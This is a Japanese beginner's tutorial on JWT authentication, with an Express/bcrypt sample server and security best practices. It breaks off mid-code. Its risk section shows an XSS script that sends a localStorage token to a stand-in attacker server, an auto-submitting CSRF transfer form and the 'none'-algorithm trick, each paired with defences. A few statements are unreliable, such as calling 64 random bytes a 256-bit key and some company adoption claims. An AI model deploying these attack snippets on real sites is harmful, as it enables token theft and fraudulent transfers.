【2025年版】JWT認証を完全マスター!初心者エンジニアのための超わかりやすい実践ガイド

はじめに - なぜJWT認証を学ぶべきなのか

Web開発を始めたばかりのあなた、「JWT」という言葉を聞いたことはありますか?

求人サイトを見ると、「JWT認証の経験者歓迎」という文字をよく見かけます。技術ブログでも頻繁に登場するこのワード。実は、現代のWeb開発において最も重要な技術の一つなんです。

この記事では、プログラミングを始めて間もない方でも理解できるように、JWT認証について基礎の基礎から実践まで、徹底的に解説します。難しい専門用語は最小限に抑え、具体例とイラストを使って説明していきますので、安心してください。

読み終わる頃には、あなたも自信を持って「JWT認証、理解してます!」と言えるようになっているはずです。

そもそも「認証」って何?基本から理解しよう

日常生活の認証

まず、Web開発における「認証」とは何かを理解しましょう。

想像してください。あなたが会員制のスポーツジムに行くとき、受付で会員カードを見せますよね?これが認証です。

  • 会員カード = あなたが会員であることを証明するもの
  • 受付スタッフ = あなたの会員資格を確認する人
  • ジム内部 = 認証された人だけが入れる場所

Webの世界でも、まったく同じことが起きています。

Webサイトでの認証

TwitterやInstagramにログインするとき、以下のような流れになります:

  1. ユーザー名とパスワードを入力(会員カードを提示)
  2. サーバーが確認する(受付スタッフがチェック)
  3. ログイン成功(ジム内に入れる)
  4. マイページや投稿機能が使える(ジムの設備を利用)

この一連の流れが「認証」です。簡単ですよね?

JWTとは?超初心者向けの説明

JWTの読み方と意味

JWTは「ジョット」と読みます。正式には「JSON Web Token」の略称です。

分解すると:

  • JSON = データの形式(後で詳しく説明します)
  • Web = インターネット上で使う
  • Token = トークン(証明書みたいなもの)

つまり、**「インターネット上で使える、JSON形式のデジタル証明書」**と理解してください。

トークンって何?

「トークン」という言葉が初めての方もいるでしょう。これも身近な例で説明します。

遊園地に行くと、乗り物用のチケットをもらいますよね?このチケットがトークンです。

  • チケットを持っていれば乗り物に乗れる
  • チケットには有効期限がある
  • チケットは偽造できないように工夫されている

JWTも同じです。Webサイトから「あなたはログイン済みですよ」という証明書(トークン)をもらい、それを使って色々な機能にアクセスできるのです。

JSONって何?

初心者の方のために、JSONについても簡単に説明します。

JSONは、データを整理して保存する形式の一つです。例えば:

{
  "名前": "山田太郎",
  "年齢": 25,
  "職業": "エンジニア"
}

このように、「項目名: 値」の組み合わせでデータを表現します。人間にも読みやすく、コンピュータにも扱いやすい、とても便利な形式です。

JWTの構造 - 3つのパーツを理解する

JWTは3つの部分から成り立っています。ドット(.)で区切られた、こんな感じの文字列です:

aaaaa.bbbbb.ccccc

実際のJWTはこんな感じ:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NSIsIm5hbWUiOiLlsbHnlLAg5aSq6YOOIiwiZXhwIjoxNjQwOTk1MjAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

一見、意味不明な暗号のようですよね。でも、この3つのパーツには、それぞれ明確な役割があります。

パート1: ヘッダー(Header)

最初の部分はヘッダーです。ここには「このトークンの説明書」が入っています。

具体的には:

  • どんな種類のトークンか(ほとんどの場合「JWT」)
  • どんな暗号化方式を使っているか(HS256、RS256など)

デコードすると、こんな感じのJSONになっています:

{
  "alg": "HS256",
  "typ": "JWT"
}

初心者ポイント: ヘッダーは「トークンの取扱説明書」と覚えましょう。

パート2: ペイロード(Payload)

2番目の部分はペイロードです。ここには「実際に伝えたい情報」が入っています。

例えば:

  • ユーザーID
  • ユーザー名
  • 権限(管理者かどうかなど)
  • 有効期限

デコードすると:

{
  "userId": "12345",
  "name": "山田太郎",
  "role": "user",
  "exp": 1640995200
}

重要な注意点: このペイロード部分は暗号化されていません。Base64という方式でエンコード(変換)されているだけで、誰でもデコード(元に戻す)できます。

つまり、パスワードやクレジットカード番号など、絶対に見られたくない情報は入れてはいけません

パート3: 署名(Signature)

3番目の部分は署名です。これがJWTの最重要パーツです。

署名の役割は2つ:

  1. トークンが改ざんされていないことを証明
  2. トークンが本物であることを保証

どういうことか、例で説明しましょう。

悪意のある人が、ペイロード部分の「role: user」を「role: admin」に書き換えて、管理者権限を手に入れようとしたとします。でも、署名があることで、この改ざんは検出されます。

なぜなら、署名はヘッダー + ペイロード + 秘密の鍵を使って計算されているからです。ペイロードを変更すると、署名が合わなくなり、サーバーが「これは偽物だ!」と判断します。

初心者ポイント: 署名は「改ざん防止シール」と覚えましょう。

具体例で理解しよう

レストランの会員カードで例えてみます:

  • ヘッダー = 「これは〇〇レストランの会員カードです」
  • ペイロード = 「会員番号12345、山田太郎様、ゴールド会員」
  • 署名 = 「レストラン専用の特殊なホログラムシール」

ホログラムシールがあることで、偽造カードを見破れるわけです。

JWT認証の流れ - ステップバイステップで完全理解

それでは、実際にJWT認証がどのように動くのか、具体的なストーリーで説明します。

シーン1: ログイン(トークンをもらう)

太郎さんがTwitterのようなSNSにログインする場面を想像してください。

ステップ1: ログイン画面で入力 太郎さんはユーザー名「taro」とパスワード「password123」を入力します。

ステップ2: サーバーに送信 ブラウザがこの情報をサーバーに送ります。

POST /login
{
  "username": "taro",
  "password": "password123"
}

ステップ3: サーバーが確認 サーバーはデータベースを確認します:

  • 「taroというユーザーは存在するか?」
  • 「パスワードは正しいか?」

ステップ4: JWTを生成 確認OKなら、サーバーはJWTを作成します。

// サーバー側のコード(イメージ)
const token = 作成する({
  userId: "12345",
  username: "taro"
}, 秘密の鍵, 有効期限は1時間);

ステップ5: トークンを渡す サーバーはJWTをブラウザに返します。

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

ステップ6: ブラウザが保存 ブラウザはこのトークンを保存します。

初心者ポイント: ログインすると「会員証(JWT)」がもらえる、と覚えましょう。

シーン2: 投稿する(トークンを使う)

太郎さんが「今日はいい天気!」と投稿する場面です。

ステップ1: 投稿ボタンを押す 太郎さんが投稿ボタンを押します。

ステップ2: トークンを添えて送信 ブラウザは、保存しておいたJWTを一緒に送ります。

POST /posts
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{
  "content": "今日はいい天気!"
}

ステップ3: サーバーがトークンを確認 サーバーは受け取ったJWTを検証します:

  • 署名は正しいか?
  • 有効期限は切れていないか?
  • 改ざんされていないか?

ステップ4: 投稿を保存 トークンが有効なら、投稿をデータベースに保存します。

ステップ5: 完了通知 「投稿しました!」とブラウザに返します。

初心者ポイント: 何かする度に「会員証を見せる」イメージです。

シーン3: トークンが期限切れ

1時間後、太郎さんがまた投稿しようとします。

ステップ1: トークンを送る ブラウザは同じJWTを送ります。

ステップ2: サーバーがチェック 「このトークンは1時間前に発行されたから、もう期限切れだ!」

ステップ3: エラーを返す

{
  "error": "トークンの有効期限が切れています。再ログインしてください。"
}

ステップ4: 再ログイン 太郎さんは再度ログインして、新しいトークンをもらいます。

初心者ポイント: 遊園地のチケットと同じで、有効期限があります。

従来のセッション認証との違い - なぜJWTが人気なのか

ここで、「従来の方法と何が違うの?」という疑問が湧くかもしれません。詳しく比較してみましょう。

従来の方法: セッション認証

昔ながらの認証方法は、こんな感じでした:

ログイン時:

  1. ユーザーがログイン
  2. サーバーが「セッションID」を発行(例: "abc123")
  3. サーバーのメモリに「abc123 = 太郎さん」と保存
  4. ブラウザにセッションIDを渡す

リクエスト時:

  1. ブラウザがセッションID「abc123」を送る
  2. サーバーが自分のメモリを確認「abc123は太郎さんだな」
  3. 処理を実行

この方法の問題点

問題1: サーバーが覚えておく必要がある

100万人のユーザーがログインしたら、サーバーは100万件のセッション情報を保存する必要があります。メモリを大量に消費します。

問題2: 複数サーバーで面倒

サーバーAでログインした人が、次のリクエストでサーバーBに繋がったらどうなるでしょう?サーバーBは「誰だこいつ?」となります。

解決策はありますが(セッション情報を共有するなど)、複雑になります。

問題3: スケーリングが難しい

ユーザーが増えても対応できるよう、サーバーを増やす(スケーリング)のが困難です。

JWT認証の優れた点

JWTでは、これらの問題が解決されます。

利点1: サーバーは何も覚えなくていい

JWTには必要な情報がすべて含まれています。サーバーは署名を確認するだけ。メモリを使いません。

利点2: どのサーバーでもOK

トークンに情報が入っているので、どのサーバーでも検証できます。サーバーAでログインして、サーバーBでリクエストしても問題なし。

利点3: スケーリングが簡単

ユーザーが増えたら、サーバーを追加するだけ。複雑な設定は不要です。

図で比較

セッション認証:

ブラウザ: 「セッションID: abc123」
    ↓
サーバーA: メモリを確認「abc123 = 太郎さん」→ OK
サーバーB: メモリを確認「abc123? 知らないぞ」→ NG

JWT認証:

ブラウザ: 「JWT: eyJhbG...」
    ↓
サーバーA: 署名を確認「OK、太郎さんだ」→ OK
サーバーB: 署名を確認「OK、太郎さんだ」→ OK

この違い、理解できましたか?

JWTのメリット - 開発者に愛される7つの理由

それでは、JWT認証の具体的なメリットを見ていきましょう。

メリット1: ステートレスでスケーラブル

ステートレスとは、「サーバーが状態を持たない」という意味です。

具体例: Netflixのようなサービス

Netflixには世界中で2億人以上のユーザーがいます。もしセッション認証だったら、2億人分のセッション情報を保存する必要があります。これは現実的ではありません。

JWTなら、サーバーは何も保存しないので、ユーザーが何人増えても大丈夫。これがスケーラブル(拡張可能)ということです。

メリット2: マイクロサービスに最適

マイクロサービスとは、システムを小さな部品(サービス)に分けて作る設計手法です。

具体例: Amazonのようなショッピングサイト

Amazonでは、こんな感じでサービスが分かれています:

  • 商品検索サービス
  • カート管理サービス
  • 決済サービス
  • 配送サービス
  • レビューサービス

すべて別々のサーバーで動いています。

セッション認証だと、各サービスが「このユーザーはログインしてるの?」を確認するのが大変です。

JWTなら、どのサービスも同じトークンで認証できます。一度ログインすれば、すべてのサービスで使えるんです。

メリット3: モバイルアプリとの相性抜群

iPhoneやAndroidアプリでは、Cookieの扱いが難しい場合があります。

JWTなら、アプリのローカルストレージに保存するだけ。Webアプリでもネイティブアプリでも、同じ仕組みで認証できます。

具体例: Instagram

InstagramのWebサイトとスマホアプリ、どちらも同じ認証の仕組み(JWT)を使っています。だから、片方でログインすれば、もう片方も自動的にログイン状態になります。

メリット4: クロスドメイン認証が可能

クロスドメインとは、「異なるWebサイト間で」という意味です。

具体例: Googleアカウント

あなたがGoogleアカウントでログインすると:

  • YouTube(youtube.com)
  • Gmail(gmail.com)
  • Google Drive(drive.google.com)

すべて使えますよね?これが**シングルサインオン(SSO)**です。一度ログインすれば、関連サービスすべてにアクセスできます。

JWTはドメインをまたいで使えるので、SSOの実装が簡単なんです。

メリット5: API認証に最適

最近のWebアプリは、フロントエンド(ブラウザ側)とバックエンド(サーバー側)が分かれていることが多いです。

ReactやVue.jsで作られたフロントエンドが、APIを通じてサーバーと通信します。この時、JWTがぴったりなんです。

通信の例:

フロントエンド → API: 「投稿一覧をください(JWT添付)」
API → フロントエンド: 「はい、投稿一覧です」

シンプルで分かりやすいですよね。

メリット6: 多言語対応が簡単

JWTは標準化された規格なので、ほぼすべてのプログラミング言語でライブラリが用意されています。

  • JavaScript: jsonwebtoken
  • Python: PyJWT
  • PHP: firebase/php-jwt
  • Java: java-jwt
  • Ruby: jwt
  • Go: golang-jwt

どの言語を使っても、簡単に実装できます。

メリット7: 開発効率が高い

実装が簡単なので、開発時間を短縮できます。

実際のコード例(Node.js):

トークンの生成がたったこれだけ:

const jwt = require('jsonwebtoken');
const token = jwt.sign({ userId: 123 }, 'secret', { expiresIn: '1h' });

トークンの検証もこれだけ:

jwt.verify(token, 'secret', (err, decoded) => {
  if (err) console.log('無効なトークン');
  else console.log('OK:', decoded);
});

驚くほどシンプルですよね。

JWTのデメリット - 知っておくべき欠点と対策

良いことばかりではありません。JWTには欠点もあります。正直に、すべてお伝えします。

デメリット1: トークンサイズが大きい

セッションIDは「abc123」のような短い文字列ですが、JWTは数百文字になります。

比較:

  • セッションID: 約30バイト
  • JWT: 約200〜500バイト(内容による)

毎回のリクエストで送るので、通信量が増えます。

対策:

  • 必要最小限の情報だけをペイロードに含める
  • 短い項目名を使う(例: "userId"を"uid"にする)

実際の影響: 月間100万リクエストのサービスで、トークンが300バイト増えたとしても、300MBの増加です。最近の通信環境では、ほとんど問題になりません。

デメリット2: トークンの無効化が困難

これが最大の欠点です。

一度発行したJWTは、有効期限が来るまで使えてしまいます。つまり、ユーザーが「ログアウト」ボタンを押しても、トークンは有効なままです。

問題のシナリオ:

  1. 太郎さんがログイン(有効期限1時間のJWTを取得)
  2. 10分後、太郎さんがログアウト
  3. でも、JWTはまだ50分間有効
  4. もしJWTが盗まれていたら、50分間は悪用可能

対策1: 短い有効期限 有効期限を15分程度にします。盗まれても、15分しか使えません。

対策2: リフレッシュトークン 短命のアクセストークン(15分)と長命のリフレッシュトークン(7日)を組み合わせます。詳しくは後述します。

対策3: ブラックリスト方式 「無効化されたトークン」のリストをサーバーで管理します。ただし、これをするとステートレスの利点が減ります。

対策4: トークンのバージョン管理 ペイロードに「version: 5」のような項目を入れ、サーバー側で「version 4以下は無効」と管理します。

デメリット3: 内容が見える

JWTの内容は暗号化されていません。Base64エンコードされているだけなので、誰でもデコードできます。

試してみましょう: jwt.ioというサイトにアクセスして、JWTを貼り付けると、中身が見えます。

対策:

  • パスワードやクレジットカード番号など、機密情報は絶対に入れない
  • ユーザーIDや権限など、「見られても問題ない情報」だけを入れる
  • 本当に暗号化が必要なら、JWE(JSON Web Encryption)を使う

デメリット4: 秘密鍵の管理が重要

署名に使う秘密鍵が漏れると、誰でも有効なJWTを作れてしまいます。これは致命的です。

対策:

  • 秘密鍵は環境変数で管理
  • コードにハードコーディングしない
  • GitHubなどにコミットしない
  • 定期的に鍵を変更する
  • 256ビット以上の強力な鍵を使う

デメリット5: XSS攻撃のリスク

JWTをローカルストレージに保存すると、悪意のあるJavaScriptで盗まれる可能性があります。

対策:

  • HttpOnly Cookieに保存する(JavaScriptからアクセスできない)
  • Content Security Policy(CSP)を設定
  • 信頼できないスクリプトを実行しない

セキュリティリスクと対策 - 安全なシステムを作るために

セキュリティは非常に重要です。ここでは、主要なリスクと具体的な対策を説明します。

リスク1: XSS(クロスサイトスクリプティング)攻撃

XSS攻撃とは? 悪意のあるJavaScriptコードを、あなたのWebサイトに注入する攻撃です。

攻撃シナリオ:

  1. 攻撃者が、掲示板に悪意のあるコードを投稿
<script>
  // トークンを盗んで攻撃者のサーバーに送る
  fetch('https://攻撃者のサーバー.com', {
    method: 'POST',
    body: localStorage.getItem('token')
  });
</script>

  1. 他のユーザーがこの投稿を見ると、コードが実行される
  2. トークンが盗まれる

対策:

  • ユーザー入力をサニタイズ(危険な文字を除去)
  • HttpOnly Cookieを使う(JavaScriptからアクセス不可)
  • Content Security Policy(CSP)を設定
Content-Security-Policy: script-src 'self'

これで、自分のサイトのスクリプトだけが実行可能になります。

リスク2: CSRF(クロスサイトリクエストフォージェリ)攻撃

CSRF攻撃とは? ユーザーの意図しないリクエストを、別サイトから送信させる攻撃です。

攻撃シナリオ:

  1. 太郎さんが銀行サイトにログイン中
  2. 攻撃者のサイトを訪問
  3. 攻撃者のサイトに、こんなコードが:
<form action="https://銀行.com/transfer" method="POST">
  <input name="to" value="攻撃者の口座">
  <input name="amount" value="100000">
</form>
<script>document.forms[0].submit();</script>

  1. 太郎さんの知らないうちに、送金リクエストが送信される

対策:

  • CSRFトークンを使う(リクエストごとに変わるトークン)
  • SameSite Cookie属性を設定
Set-Cookie: token=xxx; SameSite=Strict

  • カスタムヘッダーを使う(APIの場合)

リスク3: 中間者攻撃(Man-in-the-Middle)

中間者攻撃とは? 通信を盗聴・改ざんする攻撃です。

攻撃シナリオ:

  1. 太郎さんがカフェのフリーWi-Fiでログイン
  2. 攻撃者が同じWi-Fiネットワークにいて、通信を盗聴
  3. JWTを盗まれる

対策:

  • 必ずHTTPSを使う
  • HSTS(HTTP Strict Transport Security)を設定
Strict-Transport-Security: max-age=31536000

  • 証明書ピンニング(モバイルアプリの場合)

リスク4: トークンの盗聴

対策のまとめ:

  1. 短い有効期限: 15〜30分
  2. HTTPS必須: すべての通信を暗号化
  3. HttpOnly Cookie: JavaScriptからアクセス不可
  4. Secure属性: HTTPS経由でのみ送信
  5. リフレッシュトークン: 詳しくは後述

リスク5: アルゴリズムの脆弱性

過去に、「none」アルゴリズムの脆弱性が発見されました。

攻撃方法:

  1. ヘッダーのalgnoneに変更
  2. 署名部分を空にする
  3. これで署名検証がスキップされる

対策:

  • 信頼できるライブラリを使う
  • アルゴリズムをホワイトリスト方式で検証
// 許可するアルゴリズムを明示
jwt.verify(token, secret, { algorithms: ['HS256'] });

  • 定期的にライブラリを更新

実装例 - Node.jsでJWT認証を作ってみよう

それでは、実際にコードを書いて、JWT認証を実装してみましょう。初心者でも分かるよう、ステップバイステップで説明します。

準備: 環境構築

ステップ1: Node.jsのインストール Node.jsの公式サイトから、最新版をインストールしてください。

ステップ2: プロジェクト作成

mkdir jwt-auth-demo
cd jwt-auth-demo
npm init -y

ステップ3: 必要なパッケージをインストール

npm install express jsonwebtoken bcrypt dotenv

各パッケージの役割:

  • express: Webサーバーのフレームワーク
  • jsonwebtoken: JWTの生成・検証
  • bcrypt: パスワードの暗号化
  • dotenv: 環境変数の管理

実装1: サーバーの基本設定

ファイル: server.js

const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
require('dotenv').config();

const app = express();
app.use(express.json()); // JSONを受け取れるようにする

const PORT = 3000;
const SECRET_KEY = process.env.SECRET_KEY || 'your-secret-key-change-this';

// 仮のユーザーデータベース(本番環境では本物のDBを使う)
const users = [];

app.listen(PORT, () => {
  console.log(`サーバーが起動しました: http://localhost:${PORT}`);
});

初心者向け解説:

  • express.json()は、クライアントから送られてくるJSON形式のデータを読み取れるようにします
  • SECRET_KEYは環境変数から読み込みます(本番環境で重要)

実装2: ユーザー登録機能

// ユーザー登録のエンドポイント
app.post('/register', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    // バリデーション(入力チェック)
    if (!username || !password) {
      return res.status(400).json({ 
        error: 'ユーザー名とパスワードは必須です' 
      });
    }
    
    if (password.length < 8) {
      return res.status(400).json({ 
        error: 'パスワードは8文字以上にしてください' 
      });
    }
    
    // 既存ユーザーチェック
    const existingUser = users.find(u => u.username === username);
    if (existingUser) {
      return res.status(409).json({ 
        error: 'このユーザー名は既に使われています' 
      });
    }
    
    // パスワードをハッシュ化(暗号化)
    const hashedPassword = await bcrypt.hash(password, 10);
    
    // 新しいユーザーを追加
    const newUser = {
      id: users.length + 1,
      username: username,
      password: hashedPassword
    };
    users.push(newUser);
    
    res.status(201).json({ 
      message: 'ユーザー登録が完了しました',
      userId: newUser.id 
    });
    
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'サーバーエラーが発生しました' });
  }
});

初心者向け解説:

  • bcrypt.hash(password, 10)でパスワードを暗号化します
  • 数字の10は「ソルトラウンド」で、暗号化の強度です
  • パスワードは絶対に平文で保存してはいけません

実装3: ログイン機能(JWTの発行)

// ログインのエンドポイント
app.post('/login', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    // ユーザーを検索
    const user = users.find(u => u.username === username);
    if (!user) {
      return res.status(401).json({ 
        error: 'ユーザー名またはパスワードが間違っています' 
      });
    }
    
    // パスワードを確認
    const isValidPassword = await bcrypt.compare(password, user.password);
    if (!isValidPassword) {
      return res.status(401).json({ 
        error: 'ユーザー名またはパスワードが間違っています' 
      });
    }
    
    // JWTを生成
    const token = jwt.sign(
      { 
        userId: user.id, 
        username: user.username 
      },
      SECRET_KEY,
      { 
        expiresIn: '1h' // 1時間で期限切れ
      }
    );
    
    res.json({ 
      message: 'ログイン成功',
      token: token 
    });
    
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'サーバーエラーが発生しました' });
  }
});

初心者向け解説:

  • jwt.sign()で新しいJWTを作成します
  • 第1引数: ペイロード(トークンに含めたい情報)
  • 第2引数: 秘密鍵
  • 第3引数: オプション(有効期限など)

実装4: 認証ミドルウェア

// 認証チェックのミドルウェア
const authenticateToken = (req, res, next) => {
  // Authorizationヘッダーからトークンを取得
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1]; // "Bearer TOKEN"から"TOKEN"部分を取得
  
  if (!token) {
    return res.status(401).json({ 
      error: 'トークンが提供されていません' 
    });
  }
  
  // トークンを検証
  jwt.verify(token, SECRET_KEY, (err, user) => {
    if (err) {
      // トークンが無効または期限切れ
      return res.status(403).json({ 
        error: 'トークンが無効です' 
      });
    }
    
    // トークンが有効なら、ユーザー情報をrequestオブジェクトに追加
    req.user = user;
    next(); // 次の処理へ
  });
};

初心者向け解説:

  • ミドルウェアとは、リクエストとレスポンスの間に実行される処理です
  • next()を呼ぶと、次の処理(エンドポイントの処理)に進みます
  • req.userにユーザー情報を格納することで、後続の処理で使えます

実装5: 保護されたエンドポイント

// 保護されたルート(認証が必要)
app.get('/profile', authenticateToken, (req, res) => {
  // authenticateTokenミドルウェアを通過した場合のみ、ここが実行される
  res.json({
    message: `ようこそ、${req.user.username}さん!`,
    userId: req.user.userId,
    username: req.user.username
  });
});

// 投稿作成のエンドポイント(認証が必要)
app.post('/posts', authenticateToken, (req, res) => {
  const { content } = req.body;
  
  if (!content) {
    return res.status(400).json({ error: '投稿内容は必須です' });
  }
  
  // 実際はデータベースに保存
  res.json({
    message: '投稿が作成されました',
    post: {
      id: Math.random().toString(36).substr(2, 9),
      userId: req.user.userId,
      username: req.user.username,
      content: content,
      createdAt: new Date()
    }
  });
});

初心者向け解説:

  • authenticateTokenをルートの2番目の引数に指定することで、認証が必要になります
  • 認証が通らないと、エンドポイントの処理は実行されません

実装6: リフレッシュトークンの実装

より安全なシステムのために、リフレッシュトークンを実装しましょう。

// リフレッシュトークンを保存する配列(本番環境ではDBを使う)
const refreshTokens = [];

// ログイン時にアクセストークンとリフレッシュトークンを発行
app.post('/login-with-refresh', async (req, res) => {
  try {
    const { username, password } = req.body;
    
    const user = users.find(u => u.username === username);
    if (!user) {
      return res.status(401).json({ error: '認証に失敗しました' });
    }
    
    const isValidPassword = await bcrypt.compare(password, user.password);
    if (!isValidPassword) {
      return res.status(401).json({ error: '認証に失敗しました' });
    }
    
    // アクセストークン(短命: 15分)
    const accessToken = jwt.sign(
      { userId: user.id, username: user.username },
      SECRET_KEY,
      { expiresIn: '15m' }
    );
    
    // リフレッシュトークン(長命: 7日)
    const refreshToken = jwt.sign(
      { userId: user.id, username: user.username },
      SECRET_KEY,
      { expiresIn: '7d' }
    );
    
    // リフレッシュトークンを保存
    refreshTokens.push(refreshToken);
    
    res.json({ 
      accessToken: accessToken,
      refreshToken: refreshToken
    });
    
  } catch (error) {
    console.error(error);
    res.status(500).json({ error: 'サーバーエラー' });
  }
});

// リフレッシュトークンで新しいアクセストークンを取得
app.post('/refresh', (req, res) => {
  const { refreshToken } = req.body;
  
  if (!refreshToken) {
    return res.status(401).json({ error: 'リフレッシュトークンが必要です' });
  }
  
  // リフレッシュトークンが保存されているか確認
  if (!refreshTokens.includes(refreshToken)) {
    return res.status(403).json({ error: '無効なリフレッシュトークンです' });
  }
  
  // リフレッシュトークンを検証
  jwt.verify(refreshToken, SECRET_KEY, (err, user) => {
    if (err) {
      return res.status(403).json({ error: 'リフレッシュトークンが無効です' });
    }
    
    // 新しいアクセストークンを発行
    const newAccessToken = jwt.sign(
      { userId: user.userId, username: user.username },
      SECRET_KEY,
      { expiresIn: '15m' }
    );
    
    res.json({ accessToken: newAccessToken });
  });
});

// ログアウト(リフレッシュトークンを無効化)
app.post('/logout', (req, res) => {
  const { refreshToken } = req.body;
  
  // リフレッシュトークンを削除
  const index = refreshTokens.indexOf(refreshToken);
  if (index > -1) {
    refreshTokens.splice(index, 1);
  }
  
  res.json({ message: 'ログアウトしました' });
});

初心者向け解説:

  • アクセストークンは短命(15分)で、頻繁に使う
  • リフレッシュトークンは長命(7日)で、新しいアクセストークンを取得する時だけ使う
  • ログアウト時はリフレッシュトークンを削除することで、無効化できる

使い方の例

1. ユーザー登録:

curl -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"taro","password":"password123"}'

2. ログイン:

curl -X POST http://localhost:3000/login-with-refresh \
  -H "Content-Type: application/json" \
  -d '{"username":"taro","password":"password123"}'

レスポンス:

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

3. プロフィール取得(認証が必要):

curl http://localhost:3000/profile \
  -H "Authorization: Bearer YOUR_ACCESS_TOKEN"

4. トークンのリフレッシュ:

curl -X POST http://localhost:3000/refresh \
  -H "Content-Type: application/json" \
  -d '{"refreshToken":"YOUR_REFRESH_TOKEN"}'

実際の採用事例 - 大手企業の活用方法

JWT認証は、世界中の有名企業で採用されています。具体例を見てみましょう。

事例1: Auth0 - 認証プラットフォーム

Auth0とは: Auth0は、認証・認可サービスを提供するプラットフォームです。開発者は、複雑な認証システムを自分で作る代わりに、Auth0を使えば簡単に実装できます。

採用企業:

  • NASA(アメリカ航空宇宙局)
  • Mozilla(Firefoxの開発元)
  • VMware(仮想化ソフトウェア)
  • Atlassian(JiraやTrelloの開発元)

JWT認証の使い方: Auth0は、ユーザーがログインすると、JWTを発行します。このJWTには、ユーザーの権限や属性が含まれています。

開発者は、このJWTを検証するだけで、ユーザー認証が完了します。サーバーで複雑な認証ロジックを書く必要がありません。

事例2: Firebase Authentication - Googleの認証サービス

Firebaseとは: Googleが提供する、モバイル・Webアプリ開発プラットフォームです。

JWT認証の使い方: ユーザーがログインすると、FirebaseはID Token(JWTの一種)を発行します。

// Firebaseでのログイン
firebase.auth().signInWithEmailAndPassword(email, password)
  .then((userCredential) => {
    // JWTを取得
    userCredential.user.getIdToken().then((token) => {
      console.log('JWT:', token);
      // このトークンをAPIリクエストに使用
    });
  });

このJWTは、FirebaseのすべてのサービスRealtimeDatabase、Cloud Firestore、Storageなど)で使えます。

事例3: GitHub - コード管理プラットフォーム

GitHubでのJWT活用: GitHub Appsの認証に、JWTが使われています。

開発者が自動化ツールやボットを作る際、GitHub APIにアクセスするために、JWTで認証します。

// GitHub AppでJWTを生成
const jwt = require('jsonwebtoken');
const fs = require('fs');

const privateKey = fs.readFileSync('private-key.pem');

const token = jwt.sign(
  {
    iss: GITHUB_APP_ID,
    iat: Math.floor(Date.now() / 1000),
    exp: Math.floor(Date.now() / 1000) + (10 * 60)
  },
  privateKey,
  { algorithm: 'RS256' }
);

事例4: Slack - ビジネスチャットツール

Slackでの活用: Slackのボットやインテグレーションは、JWTを使ってAPIにアクセスします。

開発者がSlackアプリを作る際、OAuth 2.0フローでJWTを取得し、そのトークンでSlack APIを呼び出します。

事例5: Stripe - 決済プラットフォーム

Stripeでの活用: Stripeは直接JWTを使うわけではありませんが、多くのStripe統合システムで、バックエンドAPIの認証にJWTが使われています。

例えば、ECサイトでは:

  1. フロントエンドがJWTでバックエンドAPIにアクセス
  2. バックエンドがStripe APIを呼び出して決済処理

という流れが一般的です。

ベストプラクティス - プロの開発者が実践していること

実務レベルでJWT認証を安全に使うために、以下のベストプラクティスを守りましょう。

1. 適切な有効期限を設定する

推奨設定:

  • アクセストークン: 15〜30分
  • リフレッシュトークン: 7〜30日

理由: アクセストークンが短ければ、盗まれても被害は最小限です。リフレッシュトークンは、サーバー側で無効化できるので、少し長くても大丈夫です。

2. 必要最小限の情報のみ含める

良い例:

const payload = {
  userId: "12345",
  role: "user"
};

悪い例:

const payload = {
  userId: "12345",
  username: "taro",
  email: "taro@example.com",
  password: "password123", // 絶対にダメ!
  creditCard: "1234-5678-9012-3456", // 絶対にダメ!
  address: "東京都渋谷区...",
  phoneNumber: "090-1234-5678"
};

JWTのサイズを小さくすることで、通信量を削減できます。

3. 強力な秘密鍵を使う

良い秘密鍵の生成方法:

const crypto = require('crypto');
const secretKey = crypto.randomBytes(64).toString('hex');
console.log(secretKey);

これで、256ビットのランダムな鍵が生成されます。

環境変数で管理:

SECRET_KEY=あなたが生成した長いランダムな文字列
REFRESH_SECRET_KEY=別の長いランダムな文字列

絶対にやってはいけないこと:

const SECRET_KEY = 'secret'; // 短すぎる!
const SECRET_KEY = 'password'; // 推測されやすい!

4. HTTPS必須

本番環境では、必ずHTTPSを使いましょう。HTTPだと、通信が盗聴され、JWTが盗まれます。

設定例(Express + Let's Encrypt):

const https = require('https');
const fs = require('fs');

const options = {
  key: fs.readFileSync('/path/to/privkey.pem'),
  cert: fs.readFileSync('/path/to/fullchain.pem')
};

https.createServer(options, app).listen(443);

5. アルゴリズムを明示する

良い例:

jwt.verify(token, SECRET_KEY, { algorithms: ['HS256'] });

悪い例:

jwt.verify(token, SECRET_KEY); // アルゴリズムを指定していない

アルゴリズムを指定しないと、「none」アルゴリズム攻撃を受ける可能性があります。

6. ライブラリを最新に保つ

# 定期的にアップデート
npm update jsonwebtoken

古いバージョンには、既知の脆弱性がある可能性があります。

7. エラーメッセージに注意

悪い例:

if (!user) {
  return res.status(401).json({ error: 'ユーザーが存在しません' });
}
if (!isValidPassword) {
  return res.status(401).json({ error: 'パスワードが間違っています' });
}

これだと、攻撃者が「このユーザー名は存在する」という情報を得られます。

良い例:

if (!user || !isValidPassword) {
  return res.status(401).json({ 
    error: 'ユーザー名またはパスワードが間違っています' 
  });
}

8. レート制限を実装する

ログインAPIに対する総当たり攻撃を防ぐために、レート制限を設けましょう。

const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15分
  max: 5, // 最大5回まで
  message: 'ログイン試行が多すぎます。15分後に再試行してください。'
});

app.post('/login', loginLimiter, async (req, res) => {
  // ログイン処理
});

9. トークンのバージョン管理

ユーザーのパスワードが変更されたら、古いトークンを無効にしたい場合があります。

// ユーザーデータにtokenVersionを追加
const user = {
  id: 1,
  username: 'taro',
  password: 'hashed_password',
